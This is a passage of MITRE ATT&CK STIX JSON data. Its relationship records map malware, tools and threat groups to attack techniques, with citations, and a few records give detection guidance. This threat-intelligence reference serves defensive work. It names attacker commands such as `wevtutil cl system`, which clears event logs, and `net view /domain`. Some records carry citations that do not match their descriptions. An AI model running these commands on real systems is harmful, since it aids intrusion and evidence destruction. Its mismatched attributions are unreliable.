"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e6827aa-fd5f-4c32-b06e-60e9ee71bd53", "type": "relationship", "created": "2022-03-25T14:58:24.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T14:58:24.950Z", "description": "[Flagpro](https://attack.mitre.org/software/S0696) has relied on users clicking a malicious attachment delivered through spearphishing.(Citation: NTT Security Flagpro new December 2021)", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e6995cc-c917-4ac7-84e1-5dbf661f29cd", "type": "relationship", "created": "2020-11-20T20:11:15.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}, {"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}], "modified": "2020-11-20T20:11:15.212Z", "description": "[Machete](https://attack.mitre.org/software/S0409) used the startup folder for persistence.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e6e46e1-6990-4d37-87cb-9ef6a488a8a1", "type": "relationship", "created": "2020-06-11T16:28:58.270Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots July 2017", "url": "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/", "description": "Cherepanov, A.. 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Retrieved June 11, 2020."}], "modified": "2020-06-22T15:45:19.240Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) used malware to enumerate email settings, including usernames and passwords, from the M.E.Doc application.(Citation: ESET Telebots July 2017)\t", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7e6ebf2b-26f1-4bba-8f7e-619ffb14a649", "created": "2022-04-11T00:42:59.344Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. 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Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to use `wevtutil cl system` to clear event logs.(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-11T00:42:59.344Z", "relationship_type": "uses", "source_ref": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7e7479b9-57c6-4c40-898b-3c590e93d6f1", "created": "2023-05-17T19:50:20.641Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. 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Retrieved August 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can use TCP for C2 communication.(Citation: CISA AR18-352A Quasar RAT December 2018)", "modified": "2022-08-02T15:52:24.515Z", "relationship_type": "uses", "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7e93778d-1f69-4705-b544-b0e80d889267", "created": "2022-06-02T12:32:30.329Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cisco Talos Bitter Bangladesh May 2022", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "description": "Raghuprasad, C . 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Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can use XOR 0x45 to decrypt obfuscated code.(Citation: Check Point Warzone Feb 2020)", "modified": "2022-04-07T16:43:27.539Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e9f9565-d9c5-47e5-a962-8dfa3dc77fc6", "type": "relationship", "created": "2020-08-31T13:34:16.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Valak July 2020", "url": "https://unit42.paloaltonetworks.com/valak-evolution/", "description": "Duncan, B. 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Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.939Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) can download and execute an executable from the C2 server.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7ec2b835-9c82-4a0a-9730-5f4b87e233f4", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike Global Threat Report Feb 2018", "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. 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Retrieved April 27, 2020."}], "modified": "2020-04-29T18:44:05.009Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) was delivered with documents using DDE to execute malicious code.(Citation: Talos PoetRAT April 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0", "type": "relationship", "created": "2017-05-31T21:33:27.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bizeul 2014", "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. 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Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-09T20:35:14.466Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to deobfuscate its payload prior to execution.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7ee6890f-748e-419e-a442-7dd44e29958a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. 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(2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. 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Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.759Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7f04a14f-ab65-4ad5-9d67-a4b509ba8087", "type": "relationship", "created": "2020-03-19T23:37:02.591Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/gentilkiwi/mimikatz", "description": "Deply, B. (n.d.). Mimikatz. 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Retrieved December 14, 2020."}], "modified": "2020-12-23T16:40:34.206Z", "description": "[Spark](https://attack.mitre.org/software/S0543) can collect the hostname, keyboard layout, and language from the system.(Citation: Unit42 Molerat Mar 2020) ", "relationship_type": "uses", "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553", "created": "2017-05-31T21:33:27.068Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Tools", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.649Z", "description": "[Avenger](https://attack.mitre.org/software/S0473) can identify the domain of the compromised host.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fc1c3bb-05f7-4593-b8c3-f9833c114672", "type": "relationship", "created": "2020-03-16T14:56:19.347Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. 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Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.638Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can support RDP control.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fcb628d-ce4d-48a4-bb9f-b727fe54e6af", "type": "relationship", "created": "2020-05-08T18:41:16.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas December 2014", "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}, {"source_name": "Unit 42 Inception November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}], "modified": "2020-05-12T15:18:43.914Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) has used HTTP, HTTPS, and WebDav in network communications.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Unit 42 Inception November 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fcd4b9b-87e3-4e8c-abde-84639c85467f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", "description": "ESET, et al. (2018, January). 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Retrieved July 3, 2018.", "source_name": "ESET Turla Mosquito May 2018"}], "modified": "2020-03-20T21:32:36.789Z", "description": "A [Turla](https://attack.mitre.org/groups/G0010) JavaScript backdoor has used Google Apps Script as its C2 server.(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fd0dc68-66b1-482a-b3bd-3037bb0045cb", "type": "relationship", "created": "2019-06-07T17:41:58.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}], "modified": "2019-06-10T19:29:30.846Z", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) sets its own executable file's attributes to hidden.(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7fd19007-dd72-448f-b174-35d258b9c373", "created": "2024-02-07T20:34:43.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-18T19:59:56.327Z", "description": "[SLOWPULSE](https://attack.mitre.org/software/S1104) can insert malicious logic to bypass RADIUS and ACE two factor authentication (2FA) flows if a designated attacker-supplied password is provided.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4", "target_ref": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fd1b042-8543-46f7-90d5-631500f17e9e", "type": "relationship", "created": "2020-05-13T19:39:41.781Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}], "modified": "2020-05-13T19:39:41.781Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious links included.(Citation: Kaspersky MoleRATs April 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Airbus Derusbi 2015", "description": "Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved December 20, 2017.", "url": "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"}], "modified": "2020-03-16T15:39:47.785Z", "description": "[Derusbi](https://attack.mitre.org/software/S0021) injects itself into the secure shell (SSH) process.(Citation: Airbus Derusbi 2015)", "relationship_type": "uses", "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fd6c479-00ae-478d-a29b-fc40619eea97", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2020-03-17T00:22:59.308Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fd7a4ea-aa95-4037-8bb2-0ff6b06de179", "type": "relationship", "created": "2020-03-15T00:30:25.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-15T00:30:25.578Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level. 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Retrieved May 24, 2019."}], "modified": "2020-03-17T02:49:55.705Z", "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used HTTP for network communication.(Citation: Lab52 WIRTE Apr 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fe2431d-30b9-45ef-8857-ecef17e428a9", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/operation-daybreak/75100/", "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. 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Retrieved March 28, 2016.", "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}], "modified": "2020-03-16T17:50:28.608Z", "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>net view /domain</code> to display hostnames of available systems on a network.(Citation: AlienVault Sykipot 2011)", "relationship_type": "uses", "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fe77b6f-4b95-4d27-976f-a2a2fbfca479", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7fea2b8f-60f8-400a-bfef-08471fb75a3e", "type": "relationship", "created": "2020-11-13T21:28:40.778Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}], "modified": "2020-12-09T19:12:41.238Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can block the Deibold Warsaw GAS Tecnologia security tool at the firewall level.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7feb6ceb-8a7c-45a9-902a-9b9c2c9a5e2c", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. 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(2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}], "modified": "2021-09-21T21:07:44.435Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can perform a UAC bypass if it is not executed with administrator rights or if the infected host runs Windows Vista or later.(Citation: NCC Group WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--800825f5-6e74-43ad-a732-476fdf471225", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). 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Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-17T00:35:48.692Z", "description": "[CloudDuke](https://attack.mitre.org/software/S0054) downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--800b5705-d504-41af-86cb-252c6b3e267f", "type": "relationship", "created": "2022-03-24T20:26:35.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. 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Retrieved March 24, 2022."}], "modified": "2022-03-24T20:26:35.582Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use `System.Security.AccessControl` namespaces to retrieve domain user information.(Citation: GitHub SILENTTRINITY Modules July 2019)  ", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--800f3241-62f4-4eb4-b9a2-df62f67d27d6", "created": "2020-03-30T19:55:05.954Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster RATs", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", "description": "Novetta Threat Research Group. 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Retrieved February 25, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, 